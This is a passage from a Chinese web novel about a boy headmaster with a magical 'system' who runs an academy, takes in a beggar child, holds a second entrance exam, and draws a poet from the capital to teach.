尤其是这小山长,战斗力也太惊人了吧 清虚子会这么好?给他介绍这样的书院?这是烧了哪门子的高香啊,怎么就突然选中了他呢?依稀想起自己如今谢氏出身的背景,谢君仪若有所思,随便找了个客栈梳洗一番后,便立马前往沧澜山,拜见童启。 书院里的几个学生暂时被放了假,回家报喜。 常仕进的父亲在田里工作,听到消息,直接高兴的摔了一跤,连滚带爬往家赶。 原本他花费那么多银钱让儿子读书科举的时候,村子里就有不少人议论纷纷,说他是异想天开,癞蛤蟆想吃天鹅肉,祖坟没那个运气,还硬要上那个香!迟早人财两空! 后来常仕进去华夏书院上学,更是有人当面嘲讽,说是他们被骗了,那山长不过才十岁,能教出什么?就是沽名钓誉之类的。 现在如何? 哈哈,人家华夏书院的山长可是比正儿八经的举人还懂得多哩! 就连他儿子,也直接一榜中了县试第三! 第三啊! 那可是他做梦都从没想过的名次! 一连几日,常仕进父亲的嘴角都放不下来,那是腰也不酸,腿也不疼了,天天到了吃饭的时候就抱着碗出去找人唠嗑,着实狠狠拉了一批羡慕的眼神,这才心满意足的回去。 四方街内,吴韧的哥嫂也傻眼了。 天知道他们在黄榜上看到自家那个不成器的弟弟高居榜首时,是怎样一种心态。 就那个屡考屡败的人,竟然能拿下了县案首? 乖乖啊,那可是妥妥的秀才老爷预备役啊。 他们老吴家难道是祖坟冒青烟了不成?还是地下的那两个老头子显了灵了? 吴强咬紧牙,简直气得要死,恨不得以身相替,那榜上的人是自己,而吴强的夫人,更是悔的肠子都青了! 她若是早知道那人如此有本事,何必急匆匆的将他赶出去?若是好好培养,那现在得到的荣誉、金钱、奖赏,甚至还有以后的免税、免劳役,不就都是他们的了吗?! 本想着要不要带点礼物,去华夏书院寻找一下吴韧,修复修复关系,可奈何那边现在加强了安保,普通人根本无法靠近。 即便悔之晚矣,也无它法了。 汪家和刘家更是兴奋,家里的儿子考中了县试,而且排名极其靠前!这可是大大的为他们争了口气,连带着跟人谈生意的时候,腰杆子都挺直了许多! 本想着好好摆上几桌,大家一起热闹热闹,可被两个孩子以后面还有府试和院试要准备为由给劝了下来,只能作罢,痛痛快快让管家换上几篮子铜钱,给府中上上下下散了一波赏,又拉着全家一起开宗祠,好好吃了顿庆功宴,这才勉强开了心。 学生们各自兴奋,享受着荣光,而童启也因为自己的高调后果,整日里忙的不行。 每日一睁眼就是处理各种询问拜访的人,他将这些统统交给温叶辞和清虚子去应对,自己拉着童庆安——也就是小乞丐的手,一起进入了宿舍楼。 小乞丐原本是没有姓名的,从出生开始就在街头上流浪,老乞丐给他取了个称呼,叫做狗蛋。 童启觉得不太文雅,于是改名叫做庆安,随自己姓。 他将他带到一楼的空宿舍内,手把手教授着他使用热水淋浴、整理自己的床铺,并且将书院配置的校服,也递给 了他一套。 “你以后就住在这里,暂时自己一个人住,因为第二届学生还没开始招入,所以你先跟着童淳一起从练字开始启蒙,我会单独给你布置作业,按照书院的勤工俭学制度给你安排后期的工作,顶替所有学费、住宿费,你不必有负担,只需要安心学习即可。” 童庆安抱着干净的衣服,站在明亮的宿舍楼内,看着干净整齐的被子,不敢眨眼。 “这是……给我的?” 他紧盯着童启递来的长衫,手指在衣料边沿反复摩梭着,上品的棉布温柔暖和,蹭过掌心结痂之处,泛起层层痒意,令他忍不住想起除夕夜蜷在破庙梁上偷看富户祭神的场景。 如今,他好似也成为了那神像眼中跪拜的人。 温暖的热水氤氲成雾墙,他蹲在浴室光滑的地板砖上,迟迟不敢解衣,直到水滴成珠溅到脸颊上,他才哆嗦着剥下结成硬壳的里衣。 热水一点点漫过肋骨嶙峋的胸膛,他忽然死死咬住手腕—— 不能哭,万一把这琉璃一般的幻梦给哭碎了怎么办? 他真的可以在这里读书吗? 像那些有钱的老爷公子们一样读书?这是遇到了什么神仙,走了什么运道啊? 小乞丐就着这热水狠狠哭了一场,双眼通红的洗完,这才换上衣服,走了出来。 王厨娘和小花已经在门外等了许久,受到童启的命令帮着修剪了头发和指甲,泥娃娃顿时变得干净整齐,焕然一新,就如同一个全新的人一般。 虽然瘦,眼神却无比灵动,十分讨喜。 童淳探头探脑的敲了敲门走进来,一脸好奇之色,这还是他头一次见到书院来了和他年纪差不太多的新人,忍不住挨挨蹭蹭的问道。 “听说你原来是乞丐?那你是怎么来我们书院的啊?” 童庆安也不觉得丢人,对方直白的问,他就直白的回答,两个小孩子蹲在一旁,如同听天书一般,当听到他连饭都吃不起,只能捡酒楼门口的泔水吃时,两个孩子更是忍不住哭出来,当即就和小乞丐抱在一起,成为了顶顶好的朋友。 童淳拿出自己学习的千字文跟他分享道,“这是我现在学的书,虽然进度没有小花快,可是我会很努力的,以后一起跟着哥哥学习,有什么你就问我和小花,我们都教给你!” “对!”小花认真的点点头。 童庆安一脸惊讶,“你们在学这篇?我也在背诵这篇欸!” “你也会?” “对,我是跟着说书先生一起抄的,不过我识字不多,只学到了川流不息,渊澄取映那里,后面的便不会背了!” 童淳顿时松了一口气,他喜欢和小花一起读书,但奈何小花学的快,领悟的也快,常常比他的进度要早很多很多,这令他感到了深深的危机,这下好了,总算自己不是吊车尾了,还有一个比他更加进度慢的! 他以后可是要成为和哥哥一般领头人的角色,怎么能太弱呢? 因此当即便拍了拍小胸脯道。 “放心,交给我,以后我和小花一起给你补习,一定能迅速跟上的!” “好!” 童庆安感激的拉紧了童淳的手,目光希冀。 望着小乞丐崇拜的眼神,童淳只觉得自己被一股强大的责任感所包围,很长一段时间,学起东西来,都充满了浓浓的激情与动力。 第30章 第30章二届招生 因着王举人的疯癫,童启【舌战群儒】的辩论任务也勉强完成,系统结算奖励的时候,一肚子幽怨。 系统:“我觉得不对劲,你好像在坑我。” 童启:??? 天地良心啊,到底谁坑谁? 他自穿越到大奉朝以来,可一直都乖巧的不行,全程被系统的任务推着走,说让收徒就收徒,说让救灾就救灾,不做,就是一连套的物理抹杀警告,好不容易奋战到今天,还要被倒打一耙扣个锅? 系统气急败坏道:“我不是那个意思!我只是觉得你好像在故意篡改我想要的效果?明明我发布的任务,是让你和王举人辩论一场,按照正常的逻辑剧情,你理应将他说的面红耳赤,自愿辞去举人的身份,跪倒在脚下痛哭流涕,让你收他为小弟,或者再给他一次重新做人的机会才对!可你呢?却仅仅只是跟他比了个背书……” 不温不火的,一点也不刺激。 哪里有华夏书院一院之长的王霸之气? 童启:…… “你就说他最后输了没?身败名裂了没有?” 系统:“有是有,可这过程……” “嗨,过程如何不重要,只要最后结果相似不就得啦?统子啊,你要知道,不是所有的剧情都会按照咱们理想的状态去发展的,你要允许现实有那么一点点的偏差!” 是这样吗? 系统迷茫的用自己那电子脑袋推演了一下,好像当时的情境下,的确很难达成自己想要的那种效果,这才遗憾的砸吧砸吧了嘴,勉强认定了成功。 可紧接着,它想到什么,又继续质疑道。 系统:“不对,这也就罢了,可那个小乞丐又怎么说?咱们凭什么要收?” 一个半点钱没有的底层阶级,大字都不识几个,培养价值不高不说,付出的成本却极大!它系傲天可不做这种赔本的买卖! 系统:“你当时若咬定了不要,难不成他还能硬塞给你?我不管,这个绝对是你夹带私货,我不会承认的!” 它说了第二届招生50名,是要的优秀学生50名! 可不是什么阿猫阿狗都可以的! 若全是这种质量的,那它们还开什么书院?干脆去做慈善好了! 系统气哄哄的环着手臂,拿电子眼斜睨着童启,却见到对方猛地一怔后,低下头,重重叹了口气。 “你还记得咱们上次从柏府出来,在街角看到的背书小乞丐吗?” 系统快速闪过之前的画面,“就是他?” “没错。我只是看不得学生想要读书,却因为没有纸没有笔,而被迫放弃的样子。毕竟,我是个老师,你就当作是职业病吧,他可以不算在招生名单里,但我必须留下他。” 因为他也很好奇,对方能够成长到什么高度,在一无所有,只凭借着一颗想要学习的心的情况下。 若是他没有来到大奉朝,或许一切都会按照正常的历史轨迹去发展,吴韧等人依旧会读书科考,可这名小乞丐却会因为讨不到食物而饿死或冻死在街头。 终生凄苦。 可他来了,做出了一些事情,也因此影响了不少周围人的人生方向。 一个乞丐第一次有了梦想,竟然说想要为他作传! 这难道不是穿越者存在于这个朝代最有力的荣耀与证明吗? “统,你体验过开盲盒没有?我觉得庆安就像是这种挑战模式,咱们招收入校的学生固然优秀,可未免没有什么太大的惊喜,但若是有朝一日,我们能够帮助曾经的小乞丐堂堂正正站在朝堂之上,你不觉得,这远比称王称霸,还要有意义和令人骄傲的吗?” 系统被童启画的大饼忽悠的一卡一卡的,又思考不出可辩驳的地方,只得作罢,“行吧,反正你心里有数就行,别忘了咱们真正的主线任务!你只有一个月的时间,如果招收不到合格的五十位优秀学生,是真的会死的哦!” 所有跟主线有关的惩罚机制,可都是主系统直接操控的。 它也无法更改。 说是物理抹杀就绝对是物理抹杀。 不会骗人! 之前就有宿主想要反抗过,故意违反的,结果呢? 现在对方的骨灰,估计还在哪个时空隧道里飘着呢吧。 童启拍拍自己的小胸脯,“放心,按照这次咱们张扬的出名程度,妥妥能招够人。哦对了,我解锁的藏书阁呢?” 他在抽到藏书阁的那一瞬间,就让系统先封锁起来,不允许任何人进出来着的。 上次食堂解锁,第一个进去的竟然是俩孩子,还误触了煤气灶,吓得他。 这 次一定要先确保线上没什么毛病了,再将建筑放出去。 系统:“早安排好了,可你之前不是说嫌弃藏书阁过于高调?怎么,现在又不怕追杀了?” 童启得意洋洋的往椅子上一靠,底气十足。 “以前那不是手无寸铁吗?现在好了,咱有全套的安保设备,咱怕啥?就算被别人知道了,也没关系!而且我之前不是还抽中了一套藏书阁的模拟外观?我记得是武侠世界背景的!快放出来和原装的对比一下,看看哪一套更适合咱们书院?” 莫名有种玩游戏抽中绝版皮肤的感觉,童启整个人兴奋的不行。 系统小小的翻了个白眼,将两个版本的外观放置在一起。 原装版的藏书阁就是那种普通大学里,明亮宽阔的图书馆样式,回字形走廊扶杆,一层两个大通层,分排列着各色书架,分门别类的摆放齐整,正中央则是几排桌子,用来借阅自习。 而武侠世界背景的藏书阁则更偏向于教学楼自带的那种古色古香味道,三层架构,面宽50米,进深26米,层层叠叠,前后是腰檐走廊,上有一列槛窗。整体用青色石板叠砌,铺以条石,有种古朴厚实的感觉。阁内入门处建有一座碑亭,可篆刻文字,四脊攒尖,翼角反翘,黄琉璃瓦顶,绿色廊柱。 与教学楼遥相呼应,十分契合。 最妙的是,不知是不是武侠世界自带的升级设定,藏书阁内每一层竟然是需要解锁才能进入的。 一层放置的全是启蒙和寻常的四书五经相关类型书籍,校内师生必须凭借木制的门牌才可进入。 二层则全是秀才以上需要的律法案例、规格档案、游记策论、诗词歌韵详解……等内容,存世较少,具有一定的罕见性,校内师生必须凭借铁质门牌才可进入。 三层则是各类经典版本藏书,属于绝版、独本的极多,不可借阅只可手抄,校内师生必须凭借玉制的门牌才能进入! 而这些木牌,数量也有限定,木制的只有100份,铁质的是50份,至于玉制的,只有10份。 这不妥妥升级打怪的设定吗? 童启顿时眼睛亮了起来,“我选武侠世界的装修模板!” 系统闪了闪,“你确定?一旦选定,三个月不可更换哦。” “确定确定!” 这不比玩游戏有趣多了? 童启迫不及待点下设置,这才发现藏书阁门口不知为何还摆放着几个木制的铜人,他竟然完全忽视了。 “等一下,那两个铜人是做什么用的?” 纯好看吗? 系统恶意满满的一笑,“你试试就知道了。” 它瞬间下线,躲得比兔子还快,童启来不住抓,只得挠了挠脑袋,朝着藏书阁走去。 华夏书院西北角,清虚子和谢羽已经围绕着这栋建筑转了好几圈了。 “奇怪,这里又是什么时候被修好的啊?怎么好端端的突然就解除封锁了,关键是咱们也没见到有人进出啊?难不成山长真的通仙?有那等召唤天兵天将之术,可以助他撒豆成屋?” 谢羽悠哉游哉的跟在自家师父身后,见怪不怪道。 “管他呢,反正这书院也不是邪门一天两天了,我就好奇这里面到底是什么?之前的食堂可以自动掉落各类物品,门口的安保设施可以阻止陌生人随意进出,一个书院,还差什么?八成也就只剩藏书阁了吧……” “嗯,看这外表倒的确有种大气深沉之感,走,进去看看。” 两个人提步迈入,还未进入,便直接扑面被一个什么东西重重打了一掌,跌倒在地。 “哎呦喂,这是什么东西啊?” 清虚子痛呼道。 谢羽因为年龄小、身高矮,堪堪躲过一劫,忙将自家师父扶起来,定睛细看过去,这才发现竟是几个木制的铜人。 那铜人内似乎设着什么机关,举止灵活,动作大开大合,威猛无比。 但凡有人靠近,便会自动列阵,摆开架势。 童启匆匆赶到,见到这场景,整个人都麻了! 他仰起脖子细看,这才注意到藏书阁旁边还挂着一个木牌,上镌刻着几个小字。 【生死铜人阵,要想进入,需得闯关。】 童启:??? 我这是书院,不是少林寺啊喂!!! 且说这里忙着研究藏书阁,无暇分身,而另一边,终于收拾齐整,坐着马车晃晃悠悠来到沧澜山的谢君仪,却被门口的童继本直接拦在了门外。 “对不起,书院暂不待客,还请止步。” 谢君仪走下轿子来,客客气气递上自己的拜帖。 “我不是来探访的,我是来读书的。” 童继本没接,垂眸瞄了一眼后,公事公办道,“抱歉,第二届招生考试还未开始,具体时间请等待通知。书院暂时满员,山长暂不招收新学生。” “不是,你看清楚,我?清虚子没跟你说吗?我啊?我可是谢家的人,琅琊谢家你不知道?”谢君仪终于忍不住了,无语的挑明身份道。 童继本挑挑眉,他当然知道大名鼎鼎的谢家,权贵之首嘛,可那又如何,自华夏书院全员上榜,山长在县衙露了一手,透露出自己浓厚的学识底蕴后,每日不知有多少人前来拜见,就连安庆侯府都得暂时等待,谁管你? “抱歉,书院暂不待客。” 他依旧是这句话。 旁边的书童怒不可遏,当即就掐着腰上前一步,要大骂出声,连忙被谢君仪一把捂住。 乖乖欸,你也不看看这是哪里,闹大了,以后他还怎么上学? 而且那些守卫们看起来就不好惹,个个长相凶悍,一看便是战场上见过血的。 和他们打,孰胜孰赢,还用得着说吗? 左右进不去,又不想通知清虚子,徒增麻烦,谢君仪想了想,只得道了歉重新下山,打算租一个客栈先住着,观望观望,再寻机会拜访。 小书童一脸好奇的询问道,“公子,您不是说打死也不来这里读书吗?怎么又突然改变主意了?” 谢君仪一脸尴尬,他能说他是被小山长那骂人的架势给看爽了吗? 那么点的小个子,往县衙堂下一站,好家伙,比戏本上的钦差大臣还要有气场。 他若哪天学会了这个,还用得着怕家中家主? 那岂不是大奉朝横着走?因此他当即便下了决定,一定要留下来,哪怕学不到什么东西呢,能把骂人给学会了也行啊!回头当个御史,就天天指着谢家家主各种参!不把他给参的跪地求饶,十二个时辰都战战兢兢,每日每夜的都睡不着,他就不姓谢! 谢君仪蠢蠢欲动,摩拳擦掌。 旁边的小书童压根不知道自家少爷竟还有这样大逆不道的想法,但看着对方一脸期待兴奋的样子,他也十分开心,自家少爷好不容易找到了想做的事情,那当然得支持了! 于是,大手一挥,直接包下了一个月的天字号房间,每日出门收集与华夏书院相关的消息。 就这么等啊等,终于在大半个月之后,迎来了第二届招生考试的时间与要求。 童启直接在城门口插立了一个木制的公告牌,上面张贴着华夏书院的完整版招生说明。 【华夏书院一年一届的招生考试正式开始了!你还在为了苦读多年而没有建树忧心吗?你还在为了没有找到正确的学习方法,棋差一招而名落孙山,苦苦寻觅吗?为了吸纳更多梦想于奋战在科举之路的优秀学生,我校现面向全社会所有阶层招收五十名新生。 招收方向:已接受过启蒙教育,识字程度能够达到1000字以上,可以完成正常书写任务,完整默写下《千字文》的学生。 报名条件: 1.年龄在6-35岁之间。 2.考生本人自愿入校读书,且能够遵守书院内规则,不违法乱纪。 3.身体健康,非贱籍,符合大奉朝科举要求。 …… 】 密密麻麻的条例简单明了,其上标注着两场考试的时间与地点,一场写字,一场面试。 不少人围在公告牌底下凑热闹,颇觉新鲜。 “嘿,这招学生还能这样?好直白清晰,俺也能看懂欸!” “就说这华夏书院的山长是个实在人,不搞那云遮雾里,咬文嚼字的,若是朝廷的邸报都能这样,咱们还怕被人坑么?” “这书院束脩倒也不贵么,一年才五两银子……” “那是不包含学杂费、住宿费、吃食什么的,不过这价格倒的确亲民,你看他下面标注的,说是只要成绩特别优秀的学生,还能开启勤工俭学特殊通道,不收一分钱,还倒给你奖励嘞!” “真有这种好事?那我让我家那小子也去考考!” “去吧去吧,反正也不收钱,万一考上了呢,那可就是要出个秀才老爷的程度啊!” …… 由于童启名声在外,华夏书院的招生考试倒是格外受到百姓的推崇,还未开始,报名的便已经快达到了上千人,有很多连大字都不识一个的,也来参加,清虚子和谢羽等人只得先提前筛选了一波,这才确定最后的考试人选。 即便如此,也快要达到两三百人。 除了本地的,甚至还有不少隔壁州府的学生,在听闻华夏书院的待遇和学费要求后,不惜千里迢迢来此求学,只为求一个前程。 不可谓不震撼。 第一届的学生们坐在教学楼内,心不在焉的透过玻璃窗,往外张望着。 他们虽考过了县试,但马上就要参加下一波的府试,才能成为正儿八经的童生,所以即便书院内热闹十足,也只得闷着头继续复习。 童启见他们实在是难以集中注意力,只得先暂停了讲课,让大家休息三十分钟再继续。 常仕进等人立马欢呼了一瞬,一个个趴在窗户边观察着外面来应考的学生。 好奇不已。 这次的题目,是童启根据系统里的历代科举考试随意抽取的题型,按照难易程度由低到高。 可以最大限度的考虑到每个学生的边边角角。 阵仗可远比第一次招生,要大的多。 不少人聚集在沧澜山脚下,停靠的牛车、马车都快要将村子里的主干道给堵的水泄不通。还是村长童家岙连忙带着几个村民将家中的院子腾出来,这才勉强安置。 吴韧等人小声八卦着前来考试的新生们。 “欸,见到那个了吗?穿着青色长衫的那个,听说他是隔壁许昌县的县案首!” “我去,那么厉害,那他为什么还要来这里读书啊?” “没钱呗,听说他家里饿的连饭都快吃不上了,只有一个寡母和妹妹,还体弱多病,常年药不离身,咱们山长说了优秀的学生免学杂费,他怎么可能不心动?” “还有安庆侯府的小侯爷,竟然也来考试了!” “天哪,大佬云集啊,也就咱们入学的早,不然……” 哪里还有他们什么事? 几个学生暗自庆幸着,为山长的那一封邀请函而感到幸运。 而原本退出的那三个同样拿到邀请函,却因为得知教授自己的是个十岁孩子而退出的学生们,此时却早已经恨不得打死原本清高的自己,他们半路倒是几次三番想重新回来,但可惜华夏书院不收,因此这一次也只能跟着再考一次。 头一次进入华夏书院内部,参加考试,不少人都被那辉煌的建筑震惊在原地,谢君仪同样也不例外。 他近乎屏息的仰视着那教学楼,为自家的权贵之盛而感到深深的怀疑。 因为从未被邀请过进入内部,所以不少人对华夏书院的想象都是古朴大气,低调含蓄的那种,乍一看到其内的建筑,这才发现真正坐井观天,没见过市面的竟然是他们? 琉璃做的窗户?雷霆之力用作的照明? 这些都是正常存在的吗?大奉朝什么时候这么厉害了,有如此超出认知的物品研发出,而他们竟然都不知道!他一个顶级权贵之家的庶子,竟然听都没听过? 就离谱!【你现在阅读的是 】 30-40 第31章 第31章历史名人 别说谢君仪了,就是家大业大,正儿八经的皇亲国戚——小侯爷沈亦也是一脸的懵。 他是想来华夏书院上学不假,可他也并不会天真的认为这书院会有自家王府那条件。毕竟出门在外,读书嘛,辛苦一些也能够理解,没什么可挑剔的,不少人已经轮番对他打过预防针,让他不要期待太高,所以沈亦已经充分做好了来此“吃苦”的准备,可谁能料到,却是截然不同的另一种结局? 旁边的申宫保同样在怀疑人生。 他是被安庆侯强压着过来一起参加招生考试的,有点类似于小侯爷伴读的那种存在,其目的,就是为了照顾好沈亦,别让他过于劳累。 若换做他自己一个人,才万万不会踏足这腌臜之地呢! 可……腌臜之地? 谁能告诉他,一个如此破落,名不见经传的小村子,其内怎么会是这样一副风景呢? 这童启,他他他……简直是欺上瞒下!大胆忤逆! 竟然敢建逾制的建筑! 吃苦?谁吃苦? 怎么感觉我们的日子过的还没有这些下贱的平民们好?! 本能的想从这些建筑里挑出点毛病来,想办法参他一本,可不同于任何一个当代的建筑风格,也让他不知从何评判。 华夏书院内本身并没有什么几进几出的院落,入口处便开阔无比,一览无余。两侧高大的院墙将四周遮挡的严严实实,东南角是一座朱砂色的三层楼高教学楼,廊檐高叠,富丽堂皇,琉璃做窗尽显奢靡,可说逾制吧,琉璃又算是如今河南府的特色产物,并不太稀奇;西边则是大大的食堂和学生宿舍,简洁分明,从外表看没什么太奇怪的地方;北部都被密封着,看不清其内风景,正中央是一大片草地,空旷没有任何东西。 唯一突兀的,是紧挨着门口教学楼的地方,设置着一个奇怪的小台子,大概到人膝盖的高度,似是方便人站上去说话似得。 除此之外,整体像是有什么规律可循,但具体按照什么结构布局来建设,又令人看不太清。 两人正疑惑的打量着,突然,四周不知从哪里传出来的声音,如锣鼓一般,骤然炸响在每个人的耳边。 “请所有考生进入考场,直接坐到标有自己名字的位置上,距离考试开始,还有一盏茶的时间。请尽快做好准备……” 几个胆小的学生顿时吓得蜷缩着脖颈,迷茫的向天空四处张望,倒是小侯爷沈亦注意到了角落里黑布隆冬的一个大圆环状唢呐物品,方才那声音,分明就是从这里面传来的! 可具体什么原理……他也不知。 童继本带着安保队的人相继入场,引导着学生们坐到自己的位置上,暂且充当了监考老师的职责。 考试是露天的,桌椅摆放在还没建起来的操场草地上。 时值春日,恰是阳光明媚之时,再加上天气也慢慢好起来了,没什么风,反而更令人放松一些。 密密麻麻一共坐了两百五十多人,俯身从楼上看下去,倒颇有点熟悉的高三味道。 童启给学生们布置了复习任务,之后便背着手,前往巡视考场。 他小小的个子,走起路来还不到许多考生腰间的高度,可沿着一些人身边经过时,明明毫无伤害性,却往往引起一阵的屏息抽气声。 大家似头皮都一瞬间拉紧了,只恨不得童启快些走,别停留。 沈亦坐在最中间的一排,偷偷抬起脑袋,看向右边走来的小山长。 见对方看过来,立马露出个甜甜的微笑。 童启被那天真烂漫的笑容晃了一眼,点点头以示回应,低头瞄了一眼他的卷子。 嗯……勉强能填的都填上了,至于对错嘛,先放后面。 旁边的申宫保翻了个大大的白眼,一副混不吝的样子,继续往试卷子上画着乌龟,虽然他嘴上说着绝对不来,可知识储备量那还是远超于其他人的,卷面被填了大半,剩下不太清晰的则放在那里,懒得写。 也还算不错。 谢君仪坐在最角落,伸长了脖子等待着童 启走过来,可等啊等,却不料对方压根没有过来的意思,反而脚下一转,又重新回到了最前排处,站在一个穿着短打、衣衫单薄且满是窟窿补丁的孩子身边。 所有人的目光瞬间集中在了最前排处。 那人默默深呼吸一口气,挺直了上半身,持笔继续写着,明明微寒的天气,手腕却陡也未陡一下。 破旧的衣袖、领口处洗的发白泛丝,手指、耳朵、脖颈处皆是一大片触目惊心的冻疮,可面对纸墨,手下的动作却温柔的不像话,如同持着什么珍宝一般,小心翼翼。 童启垂眸看着,有些惊讶,因为他出的卷子里有好几个比较难的题型,是直接从历代科举院试中直接调出来的,没打算让在座的每个人都答出来,只是纯粹放着,任由大家去尝试,没想到,还真有人答出来了!且答得还不算太差。 他挑挑眉,看了一眼这学生名字。 郭胜开。 嗯,倒是个好苗子。 他暗暗记下,离开了监考人群,重新回到教室里,继续教书。 考试考了整整一上午才终于结束,书院里并没有留大家吃饭,而是每个人分了一个小袋子,里面装了一些书院特色食物,当作伴手礼,便放大家回去休息,等待通知了。 若有那笔试通过的,三日后便会受邀再来参加面试,等面试再次通过,便会彻底发放录取通知书。 成为第二届招生入校的学生。 一群学生离开时恋恋不舍,三步一回头,他们只是在这里呆了一上午而已,甚至都没有进入任何一栋建筑内,便已经产生了想永久留在这里读书的想法,怪不得第一届那几个学生能够一举得中了。 这样的环境,谁考不中,才很奇怪吧? 申宫保同样拖拖拉拉走在最后头,经过洗手池的时候,还手欠的特意摸了摸那旋转出水的水龙头,深感有趣。 他瞥到郭胜开从自己旁边经过,骤然想起方才童启在那人身边停留的时间,不由起了恶意,直接握住那水管出口处,狠狠激了对方一身! “喂!” 郭胜开狼狈的躲避,可即便如此,衣衫也给兜头淋了个大半,本就单薄破旧的衣服在春风吹拂下,泛起层层冰凉。 申宫保得意洋洋,“抱歉哈,我眼角看到有脏东西走过来,便想着洗一洗,谁能料到竟然是你?奇了怪了,你不是隔壁县的吗?怎么也会来这里参加考试,不是我说,你好歹代表着许昌县的脸面,也不知道收拾收拾,穿的这破破烂烂,跟个叫花子一样,难不成是想模仿那小乞丐,凭借着装可怜进入书院吗?” “要我说穷就别读书,来这里,也不过浪费资源。” 他嘟囔着说道,声音却格外清晰。 郭胜开握紧拳上前一步,“这位兄台,我好像从未得罪过你吧,你为何……” “小爷我开心,不行吗?”申宫保挑衅的上前两步,上下打量了一番,不屑的从袖中掏出几个铜板扔在地上,“诺,赔你的,够买你这身衣服的钱了吧,哼,穷酸货。” 申宫保犯完贱,心情极好的往外走,见到沈亦,连忙喊了一声,陪同着一起下山。 郭胜开则默默望着地上的铜板,咬紧了牙,俯身拾了起来。 富贵者,坐马车回家,贫贱者,租借牛车。 郭胜开家在隔壁县城,却只能徒步走回去,因为他连租借牛车的一文钱,也不愿意浪费。 他隐隐能感觉到,不少学生经过他身边的时候,暗暗打量观察的目光,却没有理会。 等走到家时,夜已深。 因为省钱,家里连油灯也不敢点,听到他回来的动静,母亲的咳嗽声隐隐传来,询问道。 “是胜开吗?你回来了?” “对,是我,你们吃饭了吗,用不用我给你们煮一些?” 他打开米缸,看见里面空荡荡的几粒米,又抿嘴合上。 “家里哪还有东西,倒是你,饿不饿?我这里还有几文钱,你拿去隔壁给刘婶,让她给你匀点粥米……” “不用了,我已经在外面吃过了,书院里有请我们吃饭,且饱着呢。哦,对了,书院还送了我们一些东西!” 提起这个,郭胜开顿时想起离开时书院赠送的那袋伴手礼,连忙打开,这才发现里面是几样吃食,几个用油纸裹着的小面包,还有两碗泡面,一颗卤蛋,也算是华夏书院的代表性食物了,他忍不住吞了吞口水,饥饿的腹部空的发慌,却只能继续忍着。 母亲和妹妹好奇的望过来,他将那面包拆开,递给两人。 年幼的妹妹一脸病态的红晕,艰难的咬了一口,小声道,“好软好甜,哥哥,你也尝尝。” 她稚嫩的手指递到郭胜开面前,对方揉了揉脑袋,抿下一小口。 “嗯,哥哥尝过了,你吃。月儿喜欢的话,以后我考中了,就天天给你带。” 香甜的味道猛地绽放在口中,无比霸道,郭胜开走出门,忍不住再次去灶台处煮了一大锅热水,仰头喝下,这样才勉强填补了一些胃中的疼痛。 他温柔的看着屋子里的方向,想起白日里童启站在身旁的反应,头一次,对未来,产生了浓浓的希冀。 若苍天有眼,请给我一次机会,我定不负任何人。 将来有为官做宰,达济天下之时,定不忘今日之志。 他暗暗道。 就在大家都在等待着笔试结果出来的时候,一月多以前清虚子写的那封信,也终于在此刻飘飘摇摇,到达了京城。 一家破旧老式的药铺店面后,三十多岁的男人正赤着脚躺在柜台外的竹椅上,喝的醉醺醺,不省人事。 门外有人拍门声不断。 “掌柜的,还卖药吗?我想买点砒霜药一药耗子,有没有啊?” 那男人烦躁的摆摆手,勉强从喉咙里挤出个声音来,“不卖不卖,今日天气好,不卖。” 门外客人听了一会儿,只得抱怨着离开。 不一会儿,再次有人叩门道,“掌柜的,可有春日止咳的糖浆,给我拿一些?” 椅子上的男人浑然不觉,翻身继续睡,依旧不理。 “掌柜,有治疗男人不举的药物吗?你这大白天的喝酒,生意可做不好啊。” 再次被打扰了睡眠,那男人顿时睁眼怒瞪道,十分的不耐,“哎呀,都说了不卖不卖不卖,你怎么如此磨人……” 见到面前站的是自己的好友徐常侍,他这才忙坐起身,转怒为喜道,“欸呦喂,怎么是你来了?宫里休假了?” 徐常侍揣着手,笑得懒洋洋如同晒太阳的橘猫一般,他打趣道,“你这掌柜倒是惫懒,天天不开门,晴了说天气好,雨了说天气坏,也不知能开到什么时候?” “什么时候没人用药了,就不开了,如今嘛,且还有的赚呢。” 那男人笑着往后一倒,格外的恣情纵意。 那徐常侍叹了口气,坐到他旁边,“潘阆啊,你迟早要面临选择的,总这么,也不是个办法,要不……我去圣上那里替你求求情,看什么时候大赦了,将你也放在名单里,给个小吏先当着,回头再慢慢升。” “你的那些大人们会愿意?” 潘阆笑问道。 “罢罢罢,大可不必麻烦,那什么小官小吏的我才不屑去做,整日看你为了一点屁大的事和他们拉扯就够累了,我可不想和你一样。” 两个人并肩坐在药柜后面,徐常侍听到这话,忍不住将他的靴子拿起来,砸了过去。 “你也就嘴上厉害,诗词惊人,可却总不能写一辈子吧?以你的才学,迟早要入朝,既然早去晚去都一样,何不早些,还能赚点养老钱,不然等我退了,谁来管你?” 难不成真的要买药为生一辈子? 徐常侍虽是太监,可也为自己的好友感到惋惜。 不过是老一辈留下来的一些罪名罢了,何必就因此断了自己所有的路? 如今的潘阆在整个京都都颇有才名,虽性格狂放不羁,可却凭借一手好诗词,结交了不少文人雅士,真心倾慕的人不少,若想要入朝,实际并没那么难。只可惜,今上不是个大度的人,他这好友又不愿讨好巴结,只能僵持在那里,在这药铺空度年华。 他是最懂的,也最为叹息。 潘阆翘着二郎腿,一副毫不在意的模样,径直拿过柜台旁的信,递给了他,大笑道,“放心吧,这不是已经 有人要我了?清虚子递信,说是有个好去处,中部有家神奇的书院,正缺老师,我打算去看看。” 清虚子? 徐常侍皱紧了眉头,那不是谢家的狗腿子么,能是个什么好东西,怎么可能会有靠谱的书院介绍? 他接过信,简单扫了一遍,见到那书院名,突然想起什么,问道,“咦,这名字倒是有点耳熟,华夏书院……是不是就是那个特别会骂人的山长?写范……范进中举来着的?倒是十分促狭。” 他想起前段时间圣上还因着这篇文章乐出了声,因此特意翻出伊川县上书的农具折子,暗暗称赞其有师德,有才学来着的,若真是那家书院,倒也还不错。 “可不就是那家!” 潘阆抚掌大笑道,仅凭那篇文章他便能知晓,自己和那山长定能相处的愉快。 骂的实在是太对胃口了!辛辣极,爽极! 当真有趣! 既选定了去处,潘阆也不再犹豫,当日和徐常侍聊完后,回家倒头便睡,第二日清晨收拾包袱,便独自骑马踏上了前往伊川县的路,歇也未歇。 等第二日,徐常侍想起什么,想回来再叮嘱两句时,得知对方已经一个人离开了,虽失落,却也在意料之内。 不再多提。 只说那开封府尹顾信之派了人前来伊川调查童启和王举人之事,好不容易进了城,找到王家,却听闻当事人之一已经疯掉了。 顿时吓了一跳。 